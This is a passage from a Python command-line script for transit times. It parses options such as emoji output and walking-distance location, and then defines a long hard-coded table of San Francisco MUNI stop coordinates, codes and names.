group = parser.add_mutually_exclusive_group()
group.add_argument("--location", help="Use supplied location to show walking speed based on Google Maps directions to stop: <latitude>,<longitude>")
group.add_argument("--current-location", help="Use your current location to show walking speed based on Google Maps directions to stop", action="store_true")
# Parse the options passed
args = parser.parse_args()
# Assign the option values to variables
debug = True if args.debug else False
if args.emoji == True and operating_system == "OSX":
emoji = True
elif args.emoji == True and operating_system is not "OSX":
print("Emoji currently only supported on OSX")
sys.exit()
else:
emoji = False
list_agencies = True if args.list_agencies else False
route_name = args.list_routes
route_idf = args.list_stops
stop_code = args.list_times_code
stop_name = args.list_times
# Sort out the location, using what is supplied or trying to run whereami command line utility
if args.location is not None:
current_location = args.location
if debug:
print("Current location received:", current_location)
elif args.current_location:
try:
try_current_location = str(check_output('whereami'))
current_location = try_current_location.split('\\n')[0].split(' ')[1] + ',' + try_current_location.split('\\n')[1].split(' ')[1]
if debug:
print("Current location retrieved:", current_location)
except FileNotFoundError:
print('You need the "whereami" executable in your path to use the --current_location option')
current_location = None
except:
print("Unexpected error:", sys.exc_info()[0])
sys.exit()
else:
current_location = None
stop_locations = {
'SF-MUNI': [['37.7502,-122.47627', '13382', '19th Ave and Pacheco St'], ['37.760085,-122.396443', '13418', '20th St and Missouri St'], ['37.76187,-122.4102', '13734', 'Bryant St and 18th St'], ['37.792385,-122.420714', '14026', 'Clay St and Polk St'], ['37.79379,-122.409774', '14027', 'Clay St and Powell St'], ['37.793653,-122.410823', '14024', 'Clay St and Mason St'], ['37.794682,-122.40277', '14025', 'Clay St and Montgomery St'], ['37.792526,-122.419589', '14022', 'Clay St and Larkin St'], ['37.792959,-122.416304', '14023', 'Clay St and Leavenworth St'], ['37.793173,-122.414616', '14020', 'Clay St and Jones St'], ['37.794477,-122.404411', '14021', 'Clay St and Kearny St'], ['37.79482,-122.401118', '14028', 'Clay St and Sansome St'], ['37.794082,-122.407561', '14029', 'Clay St and Stockton St'], ['37.803475,-122.42338', '15988', 'Polk St and Francisco St'], ['37.797737,-122.42204', '15989', 'Polk St and Green St'], ['37.749264,-122.45203', '15982', 'Panorama Dr and Starview Way'], ['37.796185,-122.421731', '15983', 'Polk St and Broadway'], ['37.73261,-122.45851', '15980', 'Plymouth Ave and Yerba Buena Ave'], ['37.753457,-122.452626', '15981', 'Panorama Dr and Dellbrook Ave'], ['37.790644,-122.420793', '15986', 'Polk St and California St'], ['37.803653,-122.423231', '15987', 'Polk St and Francisco St'], ['37.795676,-122.421812', '15984', 'Polk St and Broadway'], ['37.790822,-122.420644', '15985', 'Polk St and California St'], ['37.775242,-122.505798', '13570', '45th Ave and Balboa St'], ['37.743587,-122.426585', '13999', 'Church St and 29th St'], ['37.746781,-122.426893', '13998', 'Church St and 27th St'], ['37.746985,-122.427073', '13997', 'Church St and 27th St'], ['37.751591,-122.42735', '13996', 'Church St and 24th St'], ['37.7518,-122.427497', '13995', 'Church St and 24th St'], ['37.754785,-122.427659', '13994', 'Church St and 22nd St'], ['37.753067,-122.40621', '17518', '24th Street and Potrero Avenue'], ['37.72733,-122.40355', '16356', 'San Bruno Ave and Bacon St'], ['37.72752,-122.403647', '16357', 'San Bruno Ave and Bacon St'], ['37.74848,-122.41379', '14684', 'Folsom St and Cesar Chavez St'], ['37.773538,-122.505831', '13573', '45th Ave and Cabrillo St'], ['37.74827,-122.4856', '16150', 'Quintara St and 28th Ave'], ['37.74816,-122.48586', '16151', 'Quintara St and 28th Ave'], ['37.74822,-122.48666', '16152', 'Quintara St and 29th Ave'], ['37.74812,-122.48692', '16153', 'Quintara St and 29th Ave'], ['37.74814,-122.48881', '16154', 'Quintara St and 31st Ave'], ['37.748,-122.48905', '16155', 'Quintara St and 31st Ave'], ['37.74805,-122.49095', '16156', 'Quintara St and 33rd Ave'], ['37.74791,-122.49121', '16157', 'Quintara St and 33rd Ave'], ['37.74796,-122.4931', '16158', 'Quintara St and 35th Ave'], ['37.74783,-122.49334', '16159', 'Quintara St and 35th Ave'], ['37.7504,-122.47603', '13381', '19th Ave and Pacheco St'], ['37.749063,-122.413854', '14683', 'Folsom St and 26th St'], ['37.77367,-122.46411', '14732', 'Fulton St and 6th Ave'], ['37.773532,-122.463837', '14733', 'Fulton St and 6th Ave'], ['37.77394,-122.46198', '14730', 'Fulton St and 4th Ave'], ['37.77384,-122.46125', '14731', 'Fulton St and 4th Ave'], ['37.77335,-122.46839', '14736', 'Fulton St and 10th Ave'], ['37.77325,-122.46761', '14737', 'Fulton St and 10th Ave'], ['37.77347,-122.466049', '14734', 'Fulton St and 8th Ave'], ['37.773318,-122.465739', '14735', 'Fulton St and 8th Ave'], ['37.77326,-122.47053', '14738', 'Fulton St and 12th Ave'], ['37.77318,-122.46982', '14739', 'Fulton St and 12th Ave'], ['37.773573,-122.50567', '13572', '45th Ave and Cabrillo St'], ['37.79608,-122.423331', '16798', 'Van Ness Ave and Broadway'], ['37.790439,-122.422261', '16799', 'Van Ness Ave and California St'], ['37.797544,-122.402367', '15854', 'Pacific Ave and Sansome St'], ['37.796788,-122.408329', '15855', 'Pacific Ave and Stockton St'], ['37.796165,-122.41327', '15856', 'Pacific Ave and Taylor St'], ['37.795995,-122.413465', '15857', 'Pacific Ave and Taylor St'], ['37.795114,-122.42148', '15850', 'Pacific Ave and Polk St'], ['37.794998,-122.42125', '15851', 'Pacific Ave and Polk St'], ['37.796556,-122.409991', '15852', 'Pacific Ave and Powell St'], ['37.79781,-122.39662', '14526', 'THE EMBARCADERO/Pier 5'], ['37.7949,-122.42313', '15858', 'Pacific Ave and Van Ness Ave'], ['37.794784,-122.422901', '15859', 'Pacific Ave and Van Ness Ave'], ['37.791943,-122.409271', '1739', 'CALIFORNIA ST and POWELL ST'], ['37.73425,-122.40558', '13773', 'Bay Shore Blvd and Augusta St'], ['37.712235,-122.402614', '13772', 'Bay Shore Blvd and Arleta Ave'], ['37.737729,-122.406997', '13771', 'Bay Shore Blvd and Alemany Blvd'], ['37.712173,-122.402614', '13770', 'Bay Shore Blvd and Alemany Blvd'], ['37.73028,-122.40313', '13777', 'Bay Shore Blvd and Carroll Ave'], ['37.71481,-122.39936', '13776', 'Bay Shore Blvd and Campbell Ave'], ['37.73488,-122.40588', '13775', 'Bay Shore Blvd and Boutwell St'], ['37.712244,-122.402133', '13774', 'Bay Shore Blvd and Blanken Ave'], ['37.795,-122.39445', '14523', 'The Embarcadero and Market St'], ['37.73967,-122.40712', '13779', 'Bay Shore Blvd and Cortland Ave'], ['37.73986,-122.40677', '13778', 'Bay Shore Blvd and Cortland Ave'], ['37.793775,-122.392315', '14522', 'The Embarcadero and Mission St'], ['37.787423,-122.394188', '14655', 'Folsom St and 1st St'], ['37.734194,-122.448799', '14654', 'Foerster St and Teresita Blvd'], ['37.783989,-122.398753', '14657', 'Folsom St and 3rd St'], ['37.785746,-122.396528', '14656', 'Folsom St and 2nd St'], ['37.73315,-122.448948', '14651', 'Foerster St and Mangels Ave'], ['37.728492,-122.448753', '14650', 'Foerster St and Judson Ave'], ['37.731401,-122.448776', '14653', 'Foerster St and Monterey Blvd'], ['37.732989,-122.448788', '14652', 'Foerster St and Mangels Ave'], ['37.70962,-122.45006', '15608', 'Mission St and Oliver St'], ['37.792159,-122.391066', '14520', 'The Embarcadero and Howard St'], ['37.780386,-122.403099', '14659', 'Folsom St and 5th St'], ['37.782152,-122.400863', '14658', 'Folsom St and 4th St'], ['37.718234,-122.388272', '14784', 'Gilman Ave and Griffith St'], ['37.7389,-122.42579', '13968', 'Chenery St and Fairmount St'], ['37.760631,-122.438188', '14535', 'Eureka St and 18th St'], ['37.761761,-122.419463', '15554', 'Mission St and 18th St'], ['37.799182,-122.419139', '15089', 'Hyde St and Union St'], ['37.73992,-122.41997', '14149', 'Cortland Ave and Elsie St'], ['37.794463,-122.394607', '1100', 'STEUART ST and FRANCISCO ST'], ['37.73954,-122.4072', '14148', 'Cortland Ave and Bayshore Blvd'], ['37.72312,-122.45118', '14812', 'GENEVA AVE and GENEVA AVE'], ['37.718722,-122.443554', '14811', 'Geneva Ave and Cayuga Ave'], ['37.718927,-122.443554', '14810', 'Geneva Ave and Cayuga Ave'], ['37.73004,-122.37711', '14817', 'Kiska Rd and Reardon Rd'], ['37.720069,-122.44526', '14816', 'Geneva Ave and Delano Ave'], ['37.708984,-122.422129', '14815', 'Geneva Ave and Cielito Dr'], ['37.70898,-122.42215', '14814', 'Geneva Ave and Cielito Dr E'], ['37.792878,-122.404364', '14819', 'Kearny St and California St'], ['37.791004,-122.403976', '14818', 'Kearny St and Bush St'], ['37.75839,-122.40177', '16378', 'Southern Heights Ave and Rhode Island St'], ['37.75814,-122.40112', '16379', 'Southern Heights Ave and De Haro St'], ['37.729166,-122.392776', '13150', '3rd St and Williams Ave'], ['37.73605,-122.41352', '14695', 'Folsom St and Ogden St'], ['37.717,-122.39984', '16370', 'San Bruno Ave and Wilde Ave'], ['37.71672,-122.39993', '16371', 'San Bruno Ave and Wilde Ave'], ['37.72531,-122.40271', '16372', 'San Bruno Ave and Woolsey St'], ['37.72637,-122.40301', '16373', 'San Bruno Ave and Wayland St'], ['37.733202,-122.465798', '16374', 'Santa Clara Ave and Monterey Blvd'], ['37.734861,-122.466154', '16375', 'Santa Clara Ave and Saint Francis Blvd'], ['37.80308,-122.44183', '16376', 'Scott St and North Point St'], ['37.7581,-122.4008', '16377', 'Southern Heights Ave and De Haro St'], ['37.72611,-122.38677', '15114', 'Ingalls St and Van Dyke Ave'], ['37.77529,-122.39282', '13154', '4th St and Berry St'], ['37.777148,-122.404362', '14970', 'Harrison St and 6th St'], ['37.7192,-122.43241', '15484', 'Naples St and Russia Ave'], ['37.749001,-122.417818', '13519', '26th St and Mission St'], ['37.749232,-122.413877', '13518', '26th St and Folsom St'], ['37.747836,-122.45879', '17269', 'Laguna Honda Blvd/Forest Hill Sta'], ['37.748273,-122.458779', '17268', 'Laguna Honda Blvd/opp FOREST HILL'], ['37.752162,-122.398293', '13513', '25th St and Wisconsin St'], ['37.75224,-122.39831', '13512', '25th St and Wisconsin St'], ['37.751407,-122.40668', '13511', '25th St and Potrero Ave'], ['37.74978,-122.431762', '13510', '25th St and Noe St'], ['37.750753,-122.400024', '13517', '26th St and De Haro St'], ['37.75086,-122.40015', '13516', '26th St and De Haro St'], ['37.74807,-122.43352', '13515', '26th St and Castro St'], ['37.74815,-122.43363', '13514', '26th St and Castro St'], ['37.758499,-122.40207', '16204', 'Rhode Island St and Southern Heights Ave'], ['37.73564,-122.41701', '16205', 'Richland Ave and Andover St'], ['37.73621,-122.42433', '16206', 'Richland Ave and Mission St'], ['37.73579,-122.42006', '16207', 'Richland Ave and Murray St'], ['37.750727,-122.401342', '16200', 'Rhode Island St and 26th St'], ['37.768742,-122.403038', '16201', 'Rhode Island St and Alameda St'], ['37.768573,-122.402843', '16202', 'Rhode Island St and Alameda St'], ['37.763264,-122.402525', '16203', 'Rhode Island St and Mariposa St'], ['37.744368,-122.410465', '16208', 'Ripley St and Alabama St'], ['37.74428,-122.41051', '16209', 'Ripley St and Alabama St'], ['37.734717,-122.474974', '13391', '19th Ave and Sloat Blvd'], ['37.77057,-122.424971', '15675', 'Market St and Guerrero St'], ['37.78578,-122.42155', '16808', 'Van Ness Ave and Geary Blvd'], ['37.800477,-122.424298', '16809', 'Van Ness Ave and Greenwich St'], ['37.804287,-122.424996', '16806', 'Van Ness Ave and Bay St'], ['37.785683,-122.421403', '16807', 'Van Ness Ave and Geary Blvd'], ['37.7832,-122.42073', '16804', 'Van Ness Ave and Eddy St'], ['37.7825,-122.42089', '16805', 'Van Ness Ave and Eddy St'], ['37.802351,-122.424848', '16802', 'Van Ness Ave and Chestnut St'], ['37.79245,-122.4226', '16803', 'Van Ness Ave and Clay St'], ['37.80258,-122.42464', '16800', 'Van Ness Ave and Chestnut St'], ['37.802431,-122.424905', '16801', 'Van Ness Ave and Chestnut St'], ['37.789255,-122.401225', '198', '2ND ST and MARKET ST'], ['37.727645,-122.403269', '13019', 'Bacon St and San Bruno Ave'], ['37.74318,-122.47578', '13395', '19th Ave and Taraval St'], ['37.74331,-122.47554', '13394', '19th Ave and Taraval St'], ['37.776222,-122.411755', '13207', '8th St and Howard St'], ['37.773536,-122.408376', '13206', '8th St and Harrison St'], ['37.774767,-122.409922', '13205', '8th St and Folsom St'], ['37.772536,-122.407127', '13204', '8th St and Bryant St'], ['37.771554,-122.405901', '13203', '8th St and Brannan St'], ['37.78869,-122.41361', '15187', 'Jones St and Sutter St'], ['37.773639,-122.465808', '13201', '8th Ave and Fulton St'], ['37.775022,-122.466095', '13200', '8th Ave and Cabrillo St'], ['37.71411,-122.47174', '15188', 'JUNIPERO SERRA RAMP and BROTHERHOOD WAY'], ['37.762299,-122.462001', '15189', 'Judah St and 5th Ave'], ['37.778498,-122.414597', '13209', '8th St and Market St'], ['37.77724,-122.413027', '13208', '8th St and Mission St'], ['37.78862,-122.40065', '13013', '2nd St and Stevenson St'], ['37.79117,-122.39256', '15058', 'Howard St and Spear St'], ['37.784095,-122.395016', '13010', '2nd St and Harrison St'], ['37.804795,-122.4201', '15059', 'Hyde St and Bay St'], ['37.7747,-122.40517', '17140', '7th St and Bryant St'], ['37.789269,-122.391859', '14694', 'Folsom St and Main St'], ['37.792338,-122.391101', '15054', 'Howard St and The Embarcadero'], ['37.780827,-122.390697', '13014', '2nd St and Townsend St'], ['37.792418,-122.391227', '15055', 'Not a public stop - Use Howard/Spear'], ['37.791339,-122.392408', '17676', 'Hward St&Spear'], ['37.776133,-122.411606', '17677', '8th St&Howard'], ['37.780622,-122.390685', '13015', '2nd St and Townsend St'], ['37.79784,-122.39616', '14525', 'THE EMBARCADERO/Pier 5'], ['37.778579,-122.414757', '17670', '8TH St AND MARKET St'], ['37.716339,-122.440931', '17671', 'Geneva Ave and Mission St'], ['37.805803,-122.420226', '15458', 'North Point St and Hyde St'], ['37.805633,-122.420467', '15459', 'North Point St and Hyde St'], ['37.761762,-122.421732', '13348', '18th St and Valencia St'], ['37.761663,-122.421423', '13349', '18th St and Valencia St'], ['37.71749,-122.47744', '17078', 'Juan Bautista Cir and Font Blvd'], ['37.7621,-122.46631', '17079', 'Judah St and 9th Ave'], ['37.762828,-122.393471', '13342', '18th St and Pennsylvania Ave'], ['37.762732,-122.39322', '13343', '18th St and Pennsylvania Ave'], ['37.761094,-122.432688', '13340', '18th St and Noe St'], ['37.76096,-122.432905', '13341', '18th St and Noe St'], ['37.762701,-122.395422', '13346', '18th St and Texas St'], ['37.762621,-122.39516', '13347', '18th St and Texas St'], ['37.761228,-122.430464', '13344', '18th St and Sanchez St'], ['37.761094,-122.430682', '13345', '18th St and Sanchez St'], ['37.719198,-122.390012', '14976', 'Hawes St and Gilman Ave'], ['37.712972,-122.419952', '16566', '1800 Sunnydale Ave'], ['37.780982,-122.467644', '14259', 'Geary Blvd and 9th Ave'], ['37.780902,-122.464377', '14258', 'Geary Blvd and 6th Ave'], ['37.72284,-122.41157', '16974', 'Woolsey St and Colby St'], ['37.72324,-122.41043', '16975', 'Woolsey St and Dartmouth St'], ['37.72338,-122.40961', '16972', 'Woolsey St and Bowdoin St'], ['37.72294,-122.41145', '16973', 'Woolsey St and Colby St'], ['37.72973,-122.39525', '16970', 'Williams Ave and Reddy St'], ['37.72349,-122.40941', '16971', 'Woolsey St and Bowdoin St'], ['37.719746,-122.467937', '14253', 'Garfield St and Vernon St'], ['37.781277,-122.460938', '14255', 'Geary Blvd and 3rd Ave'], ['37.719613,-122.465452', '14254', 'Garfield St and Victoria St'], ['37.781134,-122.464159', '14257', 'Geary Blvd and 6th Ave'], ['37.781045,-122.461156', '14256', 'Geary Blvd and 3rd Ave'], ['37.78464,-122.40393', '15533', 'Mission St and 4th St'], ['37.78597,-122.40249', '15532', 'Mission St and 3rd St'], ['37.78651,-122.40157', '15531', 'Mission St and 3rd St'], ['37.78787,-122.39985', '15530', 'Mission St and 2nd St'], ['37.78119,-122.40831', '15537', 'Mission St and 6th St'], ['37.782725,-122.40664', '15536', 'Mission St and 5th St'], ['37.78259,-122.40654', '15535', 'Mission St and 5th St'], ['37.78436,-122.40452', '15534', 'Mission St and 4th St'], ['37.77897,-122.41135', '15539', 'Mission St and 7th St'], ['37.78075,-122.4091', '15538', 'Mission St and 6th St'], ['37.76554,-122.45284', '16476', 'Stanyan St and Carl St'], ['37.8005,-122.410356', '14119', 'Columbus Ave and Union St'], ['37.791315,-122.399676', '17188', 'BUSH ST and Battery St'], ['37.758038,-122.388434', '17189', '3RD ST and 22ND ST'], ['37.72922,-122.392753', '17180', '3RD ST and WILLIAMS ST'], ['37.80283,-122.413978', '17181', 'COLUMBUS AVE and CHESTNUT ST'], ['37.7598,-122.41925', '15556', 'Mission St and 19th St'], ['37.780345,-122.412521', '17183', 'Metro Civic Center Station/Downtown'], ['37.793633,-122.395605', '17184', 'SPEAR ST and MARKET ST'], ['37.797849,-122.407342', '17185', 'BROADWAY and GRANT AVE'], ['37.765384,-122.477186', '17186', 'Lincoln Way and 19TH AVE'], ['37.734388,-122.379358', '17187', 'MIDDLE POINT RD and HARE ST'], ['37.731508,-122.442133', '15425', 'Monterey Blvd and Congo St'], ['37.732915,-122.377229', '15103', 'Innes Ave and Hunters Point Blvd'], ['37.775498,-122.406438', '14971', 'Harrison St and 7th St'], ['37.79381,-122.39278', '14521', 'The Embarcadero and Mission St'], ['37.78095,-122.42066', '14243', 'Golden Gate Ave and Van Ness Ave'], ['37.799271,-122.418956', '16760', 'Union St and Hyde St'], ['37.71106,-122.41278', '16572', 'Sunnydale Ave and Garrison Ave'], ['37.710981,-122.413024', '16573', 'Sunnydale Ave and Garrison Ave'], ['37.710007,-122.409521', '16570', 'Sunnydale Ave and Cora St'], ['37.710203,-122.409612', '16571', 'Sunnydale Ave and Cora St'], ['37.70986,-122.40851', '16576', 'Sunnydale Ave and Rutland St'], ['37.712419,-122.418177', '16577', 'Sunnydale Ave and Santos St'], ['37.713704,-122.422116', '16574', 'SUNNYDALE AVE/MCLAREN SCHOOL'], ['37.713553,-122.422219', '16575', 'SUNNYDALE AVE/MCLAREN SCHOOL'], ['37.738262,-122.434674', '14383', 'Diamond St and Arbor St'], ['37.738681,-122.434468', '14382', 'Diamond St and Arbor St'], ['37.712231,-122.417536', '16578', 'Sunnydale Ave and Santos St'], ['37.743249,-122.435659', '14380', 'Diamond St and 29th St'], ['37.733327,-122.434309', '14387', 'Diamond St and Bosworth St'], ['37.73339,-122.434102', '14386', 'Diamond St and Bosworth St'], ['37.747068,-122.43599', '14385', 'Diamond St and Cesar Chavez St'], ['37.747104,-122.435841', '14384', 'Diamond St and Cesar Chavez St'], ['37.808076,-122.412519', '17695', 'Powell St and Jefferson St'], ['37.776895,-122.471941', '17696', 'Balboa St and Park Presidio Blvd'], ['37.765375,-122.477404', '1402', 'LINC. WAY and 19TH AVE'], ['37.830373,-122.524399', '17692', 'Field Rd and Bodsworth Rd'], ['37.7274,-122.41457', '14596', 'Felton St and University St'], ['37.722746,-122.445042', '17698', 'Green Yard-San Jose and Ocean'], ['37.720613,-122.446543', '17699', 'CAMERON BEACH YARD'], ['37.784253,-122.475501', '13834', 'California St and 16th Ave'], ['37.784241,-122.478446', '13835', 'California St and 19th Ave'], ['37.784109,-122.47871', '13836', 'California St and 19th Ave'], ['37.784097,-122.481659', '13837', 'California St and 22nd Ave'], ['37.784551,-122.468963', '13830', 'California St and 10th Ave'], ['37.784586,-122.470848', '13831', 'California St and 12th Ave'], ['37.784454,-122.471103', '13832', 'California St and 12th Ave'], ['37.784386,-122.475229', '13833', 'California St and 16th Ave'], ['37.783941,-122.481893', '13838', 'California St and 22nd Ave'], ['37.78395,-122.48482', '13839', 'California St and 25th Ave'], ['37.792106,-122.422913', '14031', 'Clay St and Van Ness Ave'], ['37.793363,-122.412744', '14030', 'Clay St and Taylor St'], ['37.753074,-122.455858', '14033', 'Clarendon Ave and Galewood Circle'], ['37.75171,-122.45839', '14032', 'Clarendon Ave and Clarendon Woods S'], ['37.751628,-122.456178', '14035', 'Clarendon Ave and Olympia Way'], ['37.801628,-122.423014', '15990', 'Polk St and Lombard St'], ['37.75368,-122.455514', '14037', 'Clarendon Ave and Panorama Dr'], ['37.805018,-122.4237', '15992', 'Polk St and North Point St'], ['37.78309,-122.45982', '14039', 'Clement St and 2nd Ave'], ['37.783249,-122.459105', '14038', 'Clement St and 2nd Ave'], ['37.755483,-122.442795', '14186', 'Corbett Ave and Romain St'], ['37.791741,-122.420827', '15999', 'Polk St and Sacramento St'], ['37.786566,-122.419969', '15998', 'Polk St and Post St'], ['37.72273,-122.41253', '16793', 'University St and Woolsey St'], ['37.758409,-122.444055', '15663', 'Market St and Clayton St'], ['37.83048,-122.524411', '14599', 'Field Rd/Visitor Center'], ['37.72659,-122.41414', '16790', 'University St and Burrows St'], ['37.721443,-122.401154', '15349', 'Mansell St and San Bruno Ave'], ['37.767259,-122.42915', '15662', 'Market St and Church St'], ['37.72647,-122.41401', '16791', 'University St and Burrows St'], ['37.767829,-122.428628', '15661', 'Market St and Church St'], ['37.706296,-122.413084', '17522', 'Geneva Street and Schwerin Street'], ['37.755158,-122.393008', '17523', 'Pennsylvania Avenue and 23rd Street'], ['37.709523,-122.404631', '17520', 'Not a public stop'], ['37.767348,-122.429042', '15660', 'Market St and Church St'], ['37.752463,-122.39277', '17526', 'Pennsylvania Avenue and 25th Street'], ['37.755015,-122.392791', '17527', 'Pennsylvania Avenue and 23rd Street'], ['37.752624,-122.392758', '17524', 'Pennsylvania Avenue and 25th Street'], ['37.752348,-122.394695', '17525', '25th Avenue and Dakota Street'], ['37.76262,-122.43538', '15667', 'Market St and 17th St'], ['37.731695,-122.448753', '17528', 'Foerster Street and Monterey Blvd'], ['37.803377,-122.423793', '17529', 'Francisco Street and Polk Street'], ['37.80234,-122.40294', '16329', 'Sansome St and Filbert St'], ['37.76246,-122.43539', '15666', 'Market St and Castro St'], ['37.76246,-122.435449', '15665', 'Market St and Castro St'], ['37.762299,-122.435781', '15664', 'Market St and Castro St'], ['37.74845,-122.47943', '16143', 'Quintara St and 22nd Ave'], ['37.765159,-122.47721', '1392', '19TH AVE and LINCOLN WAY'], ['37.74858,-122.47622', '16141', 'Quintara St and 19th Ave'], ['37.72119,-122.475096', '1390', '19th Avenue and Holloway St'], ['37.748277,-122.483469', '16147', 'Quintara St and 26th Ave'], ['37.74838,-122.48345', '16146', 'Quintara St and 26th Ave'], ['37.74836,-122.48157', '16145', 'Quintara St and 24th Ave'], ['37.74846,-122.48131', '16144', 'Quintara St and 24th Ave'], ['37.74822,-122.48477', '16149', 'Quintara St and 27th Ave'], ['37.74832,-122.48458', '16148', 'Quintara St and 27th Ave'], ['37.75268,-122.39468', '14345', 'Dakota St and 25th St'], ['37.79687,-122.43714', '16781', 'Union St and Steiner St'], ['37.798683,-122.42243', '16780', 'Union St and Polk St'], ['37.799895,-122.414025', '16783', 'Union St and Taylor St'], ['37.800366,-122.409267', '16782', 'Union St and Stockton St'], ['37.805118,-122.432185', '14729', 'Marina Blvd and Laguna St'], ['37.83238,-122.53867', '14728', 'Fort Cronkhite Parking Lot'], ['37.798469,-122.42415', '16787', 'Union St and Van Ness Ave'], ['37.798585,-122.424241', '16786', 'Union St and Van Ness Ave'], ['37.791645,-122.398151', '14725', 'Fremont St and Market St'], ['37.789877,-122.395871', '14724', 'Fremont St and Mission St'], ['37.7939,-122.39345', '14727', 'Don Chee Way/Steuart St'], ['37.794052,-122.393449', '14726', 'Don Chee Way/Steuart St'], ['37.788217,-122.393763', '14721', 'Fremont St and Folsom St'], ['37.766092,-122.454701', '14720', 'Frederick St and Willard St'], ['37.789948,-122.395929', '14723', 'Fremont St and Mission St'], ['37.78919,-122.39497', '14722', 'Fremont St and Howard St'], ['37.796378,-122.411619', '15847', 'Pacific Ave and Mason St'], ['37.795586,-122.416744', '15846', 'Pacific Ave and Leavenworth St'], ['37.795755,-122.416549', '15845', 'Pacific Ave and Leavenworth St'], ['37.795149,-122.420035', '15844', 'Pacific Ave and Larkin St'], ['37.795328,-122.419863', '15843', 'Pacific Ave and Larkin St'], ['37.79717,-122.405222', '15842', 'Pacific Ave and Kearny St'], ['37.795791,-122.415105', '15841', 'Pacific Ave and Jones St'], ['37.79596,-122.41491', '15840', 'Pacific Ave and Jones St'], ['37.769427,-122.427254', '14340', 'Duboce Portal/Not a stop'], ['37.793812,-122.424598', '15148', 'Jackson St and Franklin St'], ['37.797393,-122.403582', '15849', 'Pacific Ave and Montgomery St'], ['37.796209,-122.411814', '15848', 'Pacific Ave and Mason St'], ['37.73409,-122.37934', '15105', 'Innes Ave and Middle Point Rd E'], ['37.7513,-122.40907', '13748', 'Bryant St and 25th St'], ['37.75111,-122.40889', '13749', 'Bryant St and 25th St'], ['37.75306,-122.40907', '13746', 'Bryant St and 24th St'], ['37.75252,-122.40919', '13747', 'Bryant St and 24th St'], ['37.75431,-122.40919', '13744', 'Bryant St and 23rd St'], ['37.75415,-122.40932', '13745', 'Bryant St and 23rd St'], ['37.75621,-122.40942', '13742', 'Bryant St and 22nd St'], ['37.75572,-122.40949', '13743', 'Bryant St and 22nd St'], ['37.75751,-122.4095', '13740', 'Bryant St and 21st St'], ['37.7574,-122.40961', '13741', 'Bryant St and 21st St'], ['37.772033,-122.430347', '14620', 'Fillmore St and Haight St'], ['37.776106,-122.431197', '14621', 'Fillmore St and Hayes St'], ['37.775598,-122.431207', '14622', 'Fillmore St and Hayes St'], ['37.792761,-122.434556', '14623', 'Fillmore St and Jackson St'], ['37.792386,-122.434607', '14624', 'Fillmore St and Jackson St'], ['37.805421,-122.437389', '14625', 'Fillmore St and Jefferson St'], ['37.799707,-122.435952', '14626', 'Fillmore St and Lombard St'], ['37.799595,-122.436051', '14627', 'Fillmore St and Lombard St'], ['37.77854,-122.431687', '14628', 'Fillmore St and Mcallister St'], ['37.778343,-122.431762', '14629', 'Fillmore St and Mcallister St'], ['37.78775,-122.40024', '15529', 'Mission St and 2nd St'], ['37.77645,-122.41431', '15542', 'Mission St and 9th St'], ['37.749331,-122.505239', '13590', '46th Ave and Pacheco St'], ['37.7194,-122.44762', '16269', 'San Jose Ave and Niagra Ave'], ['37.759,-122.41478', '14673', 'Folsom St and 20th St'], ['37.784465,-122.466704', '13198', '8th Ave and California St'], ['37.733925,-122.435706', '13698', 'Bosworth St and Lippard Ave'], ['37.733827,-122.43597', '13699', 'Bosworth St and Lippard Ave'], ['37.7836,-122.38832', '14531', 'The Embarcadero and Townsend St'], ['37.755973,-122.437902', '14538', 'Eureka St and 21st St'], ['37.755813,-122.43773', '14539', 'Eureka St and 21st St'], ['37.70913,-122.48498', '14828', '1100 Lake Merced Blvd'], ['37.709312,-122.485294', '14829', '1100 Lake Merced Blvd'], ['37.74183,-122.40978', '13690', 'Bernal Heights Blvd and Bradford St'], ['37.74151,-122.41067', '13691', 'Bernal Heights Blvd and Powhattan Ave'], ['37.797331,-122.405267', '14824', 'Kearny St and Pacific Ave'], ['37.75741,-122.437879', '14537', 'Eureka St and 20th St'], ['37.734871,-122.44007', '13694', 'Bosworth St and Elk St'], ['37.733595,-122.434011', '13695', 'Bosworth St and Diamond St'], ['37.733488,-122.43408', '13696', 'Bosworth St and Diamond St'], ['37.735005,-122.440093', '13697', 'Bosworth St and Elk St'], ['37.71905,-122.40049', '16369', 'San Bruno Ave and Ward St'], ['37.71938,-122.40042', '16368', 'San Bruno Ave and Ward St'], ['37.729795,-122.448765', '14649', 'Foerster St and Flood Ave'], ['37.723647,-122.401863', '16363', 'San Bruno Ave and Paul Ave'], ['37.72418,-122.4021', '16362', 'San Bruno Ave and Paul Ave'], ['37.721604,-122.401223', '16361', 'San Bruno Ave and Mansell St'], ['37.721478,-122.400948', '16360', 'San Bruno Ave and Mansell St'], ['37.73026,-122.40462', '16367', 'San Bruno Ave and Thornton Ave'], ['37.71384,-122.40213', '16366', 'San Bruno Ave and Somerset St'], ['37.73217,-122.40556', '16365', 'San Bruno Ave and Silver Ave'], ['37.73206,-122.40537', '16364', 'San Bruno Ave and Silver Ave'], ['37.75133,-122.43181', '15495', 'Noe St and 24th St'], ['37.762215,-122.414914', '14671', 'Folsom St and 18th St'], ['37.74799,-122.4878', '13526', '30th Ave and Quintara St'], ['37.74808,-122.487926', '13527', '30th Ave and Quintara St'], ['37.75111,-122.39866', '13524', '26th St and Wisconsin St'], ['37.73896,-122.48611', '13525', '29th Ave and Vicente St'], ['37.750718,-122.401124', '13522', '26th St and Rhode Island St'], ['37.749108,-122.416065', '13523', '26th St and South Van Ness Ave'], ['37.74827,-122.43177', '13520', '26th St and Noe St'], ['37.748174,-122.431636', '13521', '26th St and Noe St'], ['37.825196,-122.370063', '13229', '9th St and Avenue H'], ['37.742726,-122.38792', '17352', 'Third Street and Evans Ave'], ['37.74636,-122.4878', '13528', '30th Ave and Rivera St'], ['37.74616,-122.48767', '13529', '30th Ave and Rivera St'], ['37.775145,-122.419263', '17218', 'Metro Van Ness Station/Outbound'], ['37.760348,-122.509201', '17219', 'Judah/La Playa/Ocean Beach'], ['37.794056,-122.436278', '13086', 'Broadway and Steiner St'], ['37.836443,-122.50214', '15496', 'Mccullough Rd and Bunker Rd'], ['37.731336,-122.471663', '17210', 'JUNIPERO SERRA BLVD and SLOAT BLVD'], ['37.728783,-122.475786', '17211', "20th Av/Macy's Stonestown"], ['37.784339,-122.404266', '17212', '4TH ST and Mission ST'], ['37.739711,-122.41017', '17213', 'CORTLAND AVE and BRONTE ST'], ['37.78044,-122.403466', '17214', '5TH ST and FOLSOM ST'], ['37.785358,-122.409367', '17215', 'ELLIS ST and MASON ST'], ['37.775029,-122.419252', '17216', 'Metro Van Ness Station/Downtown'], ['37.793152,-122.396431', '17217', 'Metro 